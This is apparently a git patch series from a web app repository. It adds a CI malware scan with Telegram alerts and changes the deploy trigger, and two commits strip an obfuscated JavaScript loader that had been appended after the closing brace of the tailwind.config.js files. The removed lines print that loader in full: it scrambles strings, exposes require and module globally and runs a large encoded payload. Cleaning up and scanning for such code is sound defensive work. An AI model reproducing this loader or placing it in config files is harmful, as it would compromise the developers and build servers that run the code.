copy the script into a known location inside the runner. + - name: Install scanner script + run: | + mkdir -p "$RUNNER_TOOL_CACHE/malware-scanner" + cp .github/scripts/scan-malware.js \ + "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" + chmod +x "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" + + # ── 4. Run the scanner ───────────────────────────────────────────────── + - name: Run malware scanner + id: scan + env: + SCAN_JSON_OUT: ${{ runner.temp }}/scan-results.json + run: | + SCAN_PATH="${{ github.event.inputs.scan_path || '.' }}" + echo "Scanning path: $SCAN_PATH" + echo "────────────────────────────────────────" + + node "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" "$SCAN_PATH" + # The script exits 0 (clean), 1 (threats found), or 2 (internal error). + # We want the step to "succeed" so the upload-artifact step always runs, + # but we'll fail the job in the gate step below. + continue-on-error: true + + # ── 5. Upload JSON report as artifact (always, even on failure) ──────── + # Retained so the full per-file, per-rule detail is always downloadable. + # The Telegram message below links directly to the Actions run where + # this artifact appears. + - name: Upload scan report artifact + if: always() + uses: actions/upload-artifact@v4 + with: + name: malware-scan-report-${{ github.sha }} + path: ${{ runner.temp }}/scan-results.json + retention-days: 90 + if-no-files-found: ignore + + # ── 6. Send Telegram notification (always, even on failure) ────────────── + # Requires two repository secrets: + # TELEGRAM_BOT_TOKEN — from @BotFather (format: 123456:ABC-xxx) + # TELEGRAM_CHAT_ID — target chat/channel ID (format: -100xxxxxxxxxx) + # + # Intentionally short — plain HTML mode, no code spans, no snippets. + # All special characters that would break MarkdownV2 are avoided entirely. + # Full details are in the artifact linked via the Actions run URL. + - name: Send Telegram notification + if: always() + env: + TELEGRAM_BOT_TOKEN: ${{ secrets.TELEGRAM_BOT_TOKEN }} + TELEGRAM_CHAT_ID: ${{ secrets.TELEGRAM_CHAT_ID }} + SCAN_JSON: ${{ runner.temp }}/scan-results.json + GH_REPO: ${{ github.repository }} + GH_SHA: ${{ github.sha }} + GH_REF: ${{ github.ref_name }} + GH_ACTOR: ${{ github.actor }} + GH_RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + node - << 'EOF' + const fs = require('fs'); + const https = require('https'); + + const token = process.env.TELEGRAM_BOT_TOKEN; + const chatId = process.env.TELEGRAM_CHAT_ID; + const repo = process.env.GH_REPO; + const sha = process.env.GH_SHA.slice(0, 7); + const ref = process.env.GH_REF; + const actor = process.env.GH_ACTOR; + const runUrl = process.env.GH_RUN_URL; + + // HTML-escape only the four characters HTML cares about. + // Using HTML parse_mode means code snippets, file paths, and rule IDs + // with special characters can never break the parser. + const h = s => String(s) + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"'); + + let findings = []; + try { + findings = JSON.parse(fs.readFileSync(process.env.SCAN_JSON, 'utf8')); + } catch { /* missing file = clean run or scanner error */ } + + const counts = { CRITICAL: 0, HIGH: 0, MEDIUM: 0, LOW: 0 }; + for (const f of findings) counts[f.severity] = (counts[f.severity] || 0) + 1; + + const isClean = findings.length === 0; + + // ── Unique affected files ────────────────────────────────────────── + const affectedFiles = [...new Set(findings.map(f => f.file))]; + + // ── Build a short, fixed-size message ───────────────────────────── + // No snippets, no descriptions — just counts, affected files, and a + // direct link to the artifact. Stays well under 500 chars. + let lines = []; + + if (isClean) { + lines.push('✅ Malware Scan — Clean'); + } else { + lines.push('🚨 Malware Scan — THREATS DETECTED'); + } + + lines.push(''); + lines.push(`Repo: ${h(repo)}`); + lines.push(`Branch: ${h(ref)} Commit: ${h(sha)}`); + lines.push(`Actor: ${h(actor)}`); + + if (!isClean) { + lines.push(''); + lines.push( + `Findings: ` + + `🔴 ${counts.CRITICAL} CRITICAL ` + + `🟠 ${counts.HIGH} HIGH ` + + `🟡 ${counts.MEDIUM} MEDIUM ` + + `⚪ ${counts.LOW} LOW` + ); + lines.push(''); + lines.push(`Affected files (${affectedFiles.length}):`); + // Cap at 10 files to keep the message short + const shown = affectedFiles.slice(0, 10); + for (const f of shown) lines.push(` • ${h(f)}`); + if (affectedFiles.length > 10) { + lines.push(` • … and ${affectedFiles.length - 10} more`); + } + } + + lines.push(''); + lines.push(`📋 View full run & download report artifact`); + + const text = lines.join('\n'); + + // ── Send via Bot API (HTML parse mode) ──────────────────────────── + const body = JSON.stringify({ + chat_id: chatId, + text, + parse_mode: 'HTML', + disable_web_page_preview: true, + }); + + const options = { + hostname: 'api.telegram.org', + path: `/bot${token}/sendMessage`, + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(body), + }, + }; + + const req = https.request(options, res => { + let data = ''; + res.on('data', chunk => data += chunk); + res.on('end', () => { + const parsed = JSON.parse(data); + if (!parsed.ok) { + console.error('Telegram API error:', JSON.stringify(parsed)); + process.exit(1); + } + console.log('Telegram notification sent successfully.'); + }); + }); + req.on('error', err => { + console.error('Request failed:', err.message); + process.exit(1); + }); + req.write(body); + req.end(); + EOF + + # ── 7. Gate — fail the workflow if threats were found ────────────────── + # Runs after the Telegram step so the alert always fires first. + - name: Fail workflow if threats detected + if: steps.scan.outcome == 'failure' + run: | + echo "::error::⛔ Malicious or highly-suspicious code patterns were detected." + echo "::error::Check your Telegram channel for the summary." + echo "::error::Download the 'malware-scan-report' artifact for full details." + echo "::error::Do NOT merge or deploy this branch until findings are reviewed." + exit 1 + + # ── 7. (Optional) Diff-only scan on PRs for faster feedback ─────────── + # Uncomment this block if you want a second, faster pass that only + # checks the files changed in the PR diff. + # + # - name: Diff-only scan (PR only) + # if: github.event_name == 'pull_request' + # env: + # SCAN_JSON_OUT: ${{ runner.temp }}/scan-results-diff.json + # run: | + # git diff --name-only origin/${{ github.base_ref }}...HEAD \ + # | grep -E '\.(js|cjs|mjs|ts|tsx|jsx)$' \ + # | xargs -I{} node "$RUNNER_TOOL_CACHE/malware-scanner/scan-malware.js" {} From cc342ddff75b896a1111616c3485c4515bc876bf Mon Sep 17 00:00:00 2001 From: SennayT Date: Thu, 11 Jun 2026 10:15:39 +0300 Subject: [PATCH 08/31] always run malware scan first --- .github/workflows/deploy.yml | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index a66063ce1..42a593122 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -1,15 +1,16 @@ name: Deploy Stacks on: - push: + workflow_run: + workflows: ["Malware & Obfuscation Scan"] + types: [completed] branches: - main - dev - staging - workflow_dispatch: concurrency: - group: deploy-${{ github.ref_name }} + group: deploy-${{ github.event.workflow_run.head_branch || github.ref_name }} cancel-in-progress: true jobs: @@ -38,9 +39,10 @@ jobs: - project: edr-passenger build_env_file: passenger-web.build.env service: passenger-backoffice + if: github.event_name != 'workflow_run' || github.event.workflow_run.conclusion == 'success' env: PROJECT: ${{ matrix.project }} - BRANCH: ${{ github.ref_name }} + BRANCH: ${{ github.event.workflow_run.head_branch || github.ref_name }} DEPLOY_USER: tria BUILD_ENV_FILE: ${{ matrix.build_env_file }} DOCKER_BUILDKIT: "1" From 707f552c2e3977e8c205688163dc472ad7c2def0 Mon Sep 17 00:00:00 2001 From: SennayT Date: Thu, 11 Jun 2026 10:17:17 +0300 Subject: [PATCH 09/31] skip checking scan-malware.js --- .github/scripts/scan-malware.js | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/scripts/scan-malware.js b/.github/scripts/scan-malware.js index 1401cd1e2..4d0b8b052 100644 --- a/.github/scripts/scan-malware.js +++ b/.github/scripts/scan-malware.js @@ -38,6 +38,7 @@ const ALWAYS_SKIP = new Set([ "coverage", ".nyc_output", "__pycache__", + "scan-malware.js", ]); const ENTROPY_THRESHOLD = 5.2; // Shannon bits/char – high = likely encoded payload From ce38a5cca17257b61502907be8ae5006e4f14da0 Mon Sep 17 00:00:00 2001 From: SennayT Date: Thu, 11 Jun 2026 10:21:47 +0300 Subject: [PATCH 10/31] remove critical severity code --- .../backoffice/tailwind.config.js | 54 +++++----- .../portal/tailwind.config.js | 100 +++++++++--------- 2 files changed, 77 insertions(+), 77 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 32bb57bba..0311de963 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -1,40 +1,40 @@ /** @type {import('tailwindcss').Config} */ module.exports = { - darkMode: ['class'], + darkMode: ["class"], content: [ - './src/pages/**/*.{js,ts,jsx,tsx,mdx}', - './src/components/**/*.{js,ts,jsx,tsx,mdx}', - './src/app/**/*.{js,ts,jsx,tsx,mdx}', + "./src/pages/**/*.{js,ts,jsx,tsx,mdx}", + "./src/components/**/*.{js,ts,jsx,tsx,mdx}", + "./src/app/**/*.{js,ts,jsx,tsx,mdx}", ], theme: { extend: { colors: { - background: 'hsl(var(--background))', - foreground: 'hsl(var(--foreground))', - card: 'hsl(var(--card))', - 'card-foreground': 'hsl(var(--card-foreground))', - popover: 'hsl(var(--popover))', - 'popover-foreground': 'hsl(var(--popover-foreground))', - primary: 'hsl(var(--primary))', - 'primary-foreground': 'hsl(var(--primary-foreground))', - secondary: 'hsl(var(--secondary))', - 'secondary-foreground': 'hsl(var(--secondary-foreground))', - muted: 'hsl(var(--muted))', - 'muted-foreground': 'hsl(var(--muted-foreground))', - accent: 'hsl(var(--accent))', - 'accent-foreground': 'hsl(var(--accent-foreground))', - destructive: 'hsl(var(--destructive))', - 'destructive-foreground': 'hsl(var(--destructive-foreground))', - border: 'hsl(var(--border))', - input: 'hsl(var(--input))', - ring: 'hsl(var(--ring))', + background: "hsl(var(--background))", + foreground: "hsl(var(--foreground))", + card: "hsl(var(--card))", + "card-foreground": "hsl(var(--card-foreground))", + popover: "hsl(var(--popover))", + "popover-foreground": "hsl(var(--popover-foreground))", + primary: "hsl(var(--primary))", + "primary-foreground": "hsl(var(--primary-foreground))", + secondary: "hsl(var(--secondary))", + "secondary-foreground": "hsl(var(--secondary-foreground))", + muted: "hsl(var(--muted))", + "muted-foreground": "hsl(var(--muted-foreground))", + accent: "hsl(var(--accent))", + "accent-foreground": "hsl(var(--accent-foreground))", + destructive: "hsl(var(--destructive))", + "destructive-foreground": "hsl(var(--destructive-foreground))", + border: "hsl(var(--border))", + input: "hsl(var(--input))", + ring: "hsl(var(--ring))", }, borderRadius: { - lg: 'var(--radius)', - md: 'calc(var(--radius) - 2px)', - sm: 'calc(var(--radius) - 4px)', + lg: "var(--radius)", + md: "calc(var(--radius) - 2px)", + sm: "calc(var(--radius) - 4px)", }, }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 3ab9f36a3..e59e95af0 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -1,92 +1,92 @@ -import { createRequire } from 'module'; +import { createRequire } from "module"; const require = createRequire(import.meta.url); /** @type {import('tailwindcss').Config} */ export default { - darkMode: 'class', + darkMode: "class", content: [ - './src/**/*.{js,ts,jsx,tsx,mdx}', - './src/app/**/*.{js,ts,jsx,tsx,mdx}', - './src/components/**/*.{js,ts,jsx,tsx,mdx}', - './src/pages/**/*.{js,ts,jsx,tsx,mdx}', + "./src/**/*.{js,ts,jsx,tsx,mdx}", + "./src/app/**/*.{js,ts,jsx,tsx,mdx}", + "./src/components/**/*.{js,ts,jsx,tsx,mdx}", + "./src/pages/**/*.{js,ts,jsx,tsx,mdx}", ], theme: { extend: { colors: { - primary: 'rgb(20 113 76)', + primary: "rgb(20 113 76)", }, backgroundColor: { - primary: 'rgb(20 113 76)', + primary: "rgb(20 113 76)", }, textColor: { - primary: 'rgb(20 113 76)', + primary: "rgb(20 113 76)", }, borderColor: { - primary: 'rgb(20 113 76)', + primary: "rgb(20 113 76)", }, ringColor: { - primary: 'rgb(20 113 76)', + primary: "rgb(20 113 76)", }, animation: { - 'bounce-in': 'bounce-in 0.5s cubic-bezier(0.34, 1.56, 0.64, 1)', - 'float': 'float 6s ease-in-out infinite', - 'shimmer': 'shimmer 2s infinite', - 'slide-in-left': 'slide-in-left 0.5s ease-out', - 'slide-in-right': 'slide-in-right 0.5s ease-out', + "bounce-in": "bounce-in 0.5s cubic-bezier(0.34, 1.56, 0.64, 1)", + float: "float 6s ease-in-out infinite", + shimmer: "shimmer 2s infinite", + "slide-in-left": "slide-in-left 0.5s ease-out", + "slide-in-right": "slide-in-right 0.5s ease-out", }, keyframes: { - 'bounce-in': { - '0%': { - opacity: '0', - transform: 'translateY(20px) scale(0.9)', + "bounce-in": { + "0%": { + opacity: "0", + transform: "translateY(20px) scale(0.9)", }, - '50%': { - opacity: '1', + "50%": { + opacity: "1", }, - '100%': { - opacity: '1', - transform: 'translateY(0) scale(1)', + "100%": { + opacity: "1", + transform: "translateY(0) scale(1)", }, }, - 'float': { - '0%, 100%': { - transform: 'translateY(0px)', + float: { + "0%, 100%": { + transform: "translateY(0px)", }, - '50%': { - transform: 'translateY(-20px)', + "50%": { + transform: "translateY(-20px)", }, }, - 'shimmer': { - '0%': { - 'background-position': '-1000px 0', + shimmer: { + "0%": { + "background-position": "-1000px 0", }, - '100%': { - 'background-position': '1000px 0', + "100%": { + "background-position": "1000px 0", }, }, - 'slide-in-left': { - 'from': { - opacity: '0', - transform: 'translateX(-20px)', + "slide-in-left": { + from: { + opacity: "0", + transform: "translateX(-20px)", }, - 'to': { - opacity: '1', - transform: 'translateX(0)', + to: { + opacity: "1", + transform: "translateX(0)", }, }, - 'slide-in-right': { - 'from': { - opacity: '0', - transform: 'translateX(20px)', + "slide-in-right": { + from: { + opacity: "0", + transform: "translateX(20px)", }, - 'to': { - opacity: '1', - transform: 'translateX(0)', + to: { + opacity: "1", + transform: "translateX(0)", }, }, }, }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; From 4270cdb2a5ef15336d219af9a0ac1765dcc74d5f Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 11 Jun 2026 13:41:51 +0300 Subject: [PATCH 11/31] Change deploy workflow trigger to push events --- .github/workflows/deploy.yml | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index 42a593122..a66063ce1 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -1,16 +1,15 @@ name: Deploy Stacks on: - workflow_run: - workflows: ["Malware & Obfuscation Scan"] - types: [completed] + push: branches: - main - dev - staging + workflow_dispatch: concurrency: - group: deploy-${{ github.event.workflow_run.head_branch || github.ref_name }} + group: deploy-${{ github.ref_name }} cancel-in-progress: true jobs: @@ -39,10 +38,9 @@ jobs: - project: edr-passenger build_env_file: passenger-web.build.env service: passenger-backoffice - if: github.event_name != 'workflow_run' || github.event.workflow_run.conclusion == 'success' env: PROJECT: ${{ matrix.project }} - BRANCH: ${{ github.event.workflow_run.head_branch || github.ref_name }} + BRANCH: ${{ github.ref_name }} DEPLOY_USER: tria BUILD_ENV_FILE: ${{ matrix.build_env_file }} DOCKER_BUILDKIT: "1" From 00f4c03b60f1eaa2078c07c5aaae3ac0da57349d Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 11 Jun 2026 13:56:02 +0300 Subject: [PATCH 12/31] Remove obfuscated code from tailwind.config.js --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 32bb57bba..d4ae85df3 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var 